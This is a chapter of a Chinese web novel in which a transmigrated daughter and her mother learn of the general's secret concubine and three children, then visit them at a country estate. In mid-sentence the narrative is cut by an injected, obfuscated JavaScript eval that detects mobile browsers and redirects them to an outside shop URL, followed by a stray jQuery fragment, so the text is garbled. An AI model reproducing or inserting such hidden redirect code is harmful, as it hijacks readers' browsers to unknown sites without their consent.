“母亲别哭了,我这不是好好的吗?都怪我不检点,害你伤心一场……”
“夫人哪里是怪小姐,分明是因为……”
那竹茹自小跟在风母身前服侍,情分自然非比寻常,虽然年纪小些,但性子厉害,什么话都敢说。
“竹茹!”风母堵住了她的话,她的眼泪最终还是涌了出来。
“小姐迟早要知道的,与其让她蒙在鼓里,不如早些让她知晓,也明白夫人的含辛茹苦。”郭嬷嬷劝风母道,她心疼的为风母擦拭眼泪。
风母也并不是脆弱无能的人,那天处理寿如意火烧祠堂的事情时见她也颇有几分管家的才能,能让风母一哭的除了自己,那就是远在边关的夫君朱承柔了。
莫非?是父亲出了什么事情?难道是戍边出了什么意外?
朱槿荣心下一凝,连忙追问道,“母亲,可是父亲出什么事情了?”
“主君能出什么事情,他又不是幼龄稚童!只可怜了夫人,为他操持着这个空荡荡的家十年如一日……”竹茹道。
“竹茹!快些住嘴!”竹茹这句话已经的越轨了,她在风母的阻挡下也不能继续说下去了。
可朱槿荣心系父亲,生怕自己被蒙在鼓里,“母亲!无论是什么事情我终究是要知道的,竹茹,你说,我接受的了。”
她原本是在想,是不是这挂名儿的父亲出了什么意外,却见竹茹冷冷一笑,拧着帕子徐徐道来,更是明白了这事儿的不简单。
“主君在外征战,不仅有了外室,还生了三个孩子!”
竹茹扼要的挑了重点来讲,朱槿荣一听这话,便是遭了晴天霹雳一样,她虽然是现代人的灵魂,却也能明白这其中的心酸。
这就好比家有贤妻陪着他创业,他事业有成了,却停妻再娶,说原配妻子不贤,不育!
“这事儿还是和李茂家的交好的张大家的泄露出来的,昨天傍晚他们在二门外聊天,不巧被我听了去,我们这才知道其中的密辛,信中原来是告诉夫人,是说在外有了一个通房,生了些儿女,这次一并回来,任凭夫人处置,谁能想到是这样的光景!”
“我即刻命人将那张大家的捆了,等候夫人发落,那张大家的交代说是主君怕人多势众在路上惹人耳目,于是让李茂一家带着行李和那外室先回长安,也怕夫人责难,就先让李茂安顿这外室在郊外的庄子住下。”
“这人已经到了郊外的庄子,夫人本是不信的,但世上哪有不透风的墙,该知道的还是知道了。”
“夫人十年如一日的操持这个家,没想到将军竟然如此相待,他可曾为夫人想过一丝一毫!”
郭嬷嬷也愤愤不平,她为风母擦拭眼泪,身为风母的陪嫁,她看着风母长大,自然心疼风母就如同自己的女儿一样。
“母亲莫哭,我一直在你身边,谁也不能夺了去,那等负心人,不值得你哭。”朱槿荣安慰风母道,她用手帕擦拭着风母的眼泪,心中一阵恶心,对朱承柔的期待直达冰点,一点好感都没有了。
这时去打听消息的李妈也回来了,她一家是签了死契的人,自然是忠心耿耿远比他人。
“禀夫人,那外室平时鲜有外出,也打听不出来什么,只是听说是姓卢,名字叫娇娘,带着三个孩子,现在住在西郊外的庄子上。”
说了这些话等于没说,但好歹是知道了对方的名讳,知道了对方的确住在了郊外的庄子上,也方便去寻。
那郭嬷嬷的心思和朱槿荣相差无几,但有些话还是她来说比较合适,毕竟此时的朱槿荣只是一个十三四的孩子。
“这外室要是好相与的也就罢了,要是个厉害的角色,等将军回来再处置这外室,万一再出些意外,岂不是要夫妻离心?”
“所以我要去将那人接回来,赶在他回来之前。”风母说道,她整理心情,最终还是站了起来。
“择日不如撞日,那就今天去吧。”
风母已经平复了心情,她又命丫鬟侍候她梳妆打扮,准备去会会那个卢娇娘。
风母平素衣着素雅,这一次却穿上了象征身份的正红色,外搭绿色披肩,头上挽成灵蛇髻,簪上了石榴红的玛瑙步摇,这玛瑙颜色精彩万分,在烈日下闪耀夺目,一看便知是极佳的上品,她本就颜色无双,此刻更是端庄完美。
竹茹帮她系好香囊,又命人去传那些奴仆一同前去,只把将军府主母的排场摆足了。
一路乘着轿辇,走马观花似的看着沿途的风景,朱槿荣心情莫名。
她分神时在牵挂淳玉莹的事情,又担忧母亲斗不过那外室,被人拿捏了,一时间一个头两个大,自寻了许多烦恼。
“到了地方,小姐可莫要故意难为那外室。”郭嬷嬷好心提点朱槿荣道。
原本这种事情就不应该朱槿荣参与的,可风母拗不过她,还是将她带上了。
郭嬷嬷的这句话朱槿荣也没有放在心上,她为什么要难为那妾室?说到底都是那朱承柔朱将军的过错,一个男人管不住自己的□□,难道她还要去难为一个不能选择自己命运的女子?
“是嬷嬷多虑了,我不过一幼稚孩童,还能将她如何?”朱槿荣沉声道。
路过灞桥,但见杨柳枯朽,一条条挂在那树干上,尽显秋季的落寞。再转眼间就到了那庄子,庄子还是当年朱承柔获得战功,当今陛下赐下的,去年朱槿荣还和风母因为夏季消暑住过几日,有一池风荷摇摇曳曳,故名“风荷别院”。
虽然现在没有微风和荷花的美景,但比起住在旅店或者别人家,也是好去处了。
常言道娶妻娶贤,纳妾纳色。这卢娇娘看着比风母少些年岁,着绣了玉兰花的丁香色短衫,的确是如春水梨花一样娇俏的女子,她下穿摇曳生姿的绿色百褶裙,白皙的手腕上带着紫玉镯,见风母这般阵仗,心里已经明白了大半,在仆人的通传下,早已经赶了来在门口迎接。
她俯身行礼,一张娇俏的脸上带着笑意盈盈,声音妙如百灵鸟,也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354324|140658||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惹得人生厌,“很该是妹妹前去拜访,怎劳得姐姐来探望?”
这一套“姐姐”“妹妹”的说辞足以让朱槿荣倒尽胃口,但她还不能表露一丝嫌弃的表情出来,她一手拉着风母,淡漠的看着卢娇娘的表演。
那卢娇娘果然是一张巧嘴,也不管朱槿荣表现的有多么冷淡,还是用言辞拉近两个人的距离,“这便是大姐儿吧?果然以子类父,长得像极了将军。”
“是妹妹谬赞了,槿荣被我宠坏了,见人也不问话,只懂一味看着。”风母牵着朱槿荣的手,只是嘴上客套,她并不觉得这样有何不妥。
“清贵人家的女儿矜持些总是应该的,不像我生的那三个小子,不懂得礼数,整天大大咧咧的。”
说着这话,朱槿荣才注意到这卢娇娘身后还跟着三个儿女,卢娇娘让了一步,那三个儿女便暴露在众人的眼前。
“朱桥,朱校,朱栖,还不来拜见主母?拜见长姐?”
那三个孩子一字排开,居长的一张俊俏的脸,个子稍高些,便是庶长子朱桥了,由他打头,另外两个,一个沉默的就像是一块木头,穿一身水蓝衫带着金项圈的,是庶女朱校,还有一个圆脸的走路都不稳的小豆丁,说话还奶声奶气的,就是最小的弟弟朱栖了。
“是,母……”那朱桥在边关早已经叫顺嘴了母亲,猛然间改口还有些不适应,被那木头般的朱校暗地里推了一下才明白如今的处境。
“是,姨娘。母亲安好,长姐,安好!”朱桥说道,拱手朝着两人行礼,朱校和朱栖也跟着行了礼。
朱槿荣淡然回礼,在此时,朱槿荣感觉到了一道不善的目光,她弯腰行礼时那目光就像有实质一样落在了她的脖子上,在她直起腰板时又没了那种感觉。
她疑惑不解的摸了摸脖子,上面带着一根金绳,系着貔貅玉钥,难道是这东西是怎么了?
这貔貅玉钥自她穿越来,就一直系在她的脖子上的,见那美玉无瑕,她也十分喜欢。
但此刻重要的不是这些,朱槿荣还要应付这卢娇娘以及她的三个孩子,她说,“弟弟妹妹好,弟弟妹妹可在京城住得惯?饮食可还习惯?”
“劳姐姐挂念,我们一切都好。”朱桥得体的代表三人回应。
“一家人何必如此生分?在门外站着作甚,快进院子里聊吧!”卢娇娘个性爽利,便催促几人入屋。
一行人由着奴仆引路,风母居首,走进了大厅之中,这里面的东西摆置还是以前的样子,没有添几样新货,想必是这卢娇娘也知道在这里住不了几天?
“请姐姐上座。”卢娇娘说道。
推辞不过,风母依言上座,却是坐在主人的位置上,几句寒暄过后,她最终还是将话头转移到了重要的地方。
“将军还没有回来,就差人送了书信来,要我接纳你们。我想你几人,住在这庄子也大有不便,总比不得家里舒坦,遂自作主张想将你们接到家中居住,不知道你们可愿意?”风母说道。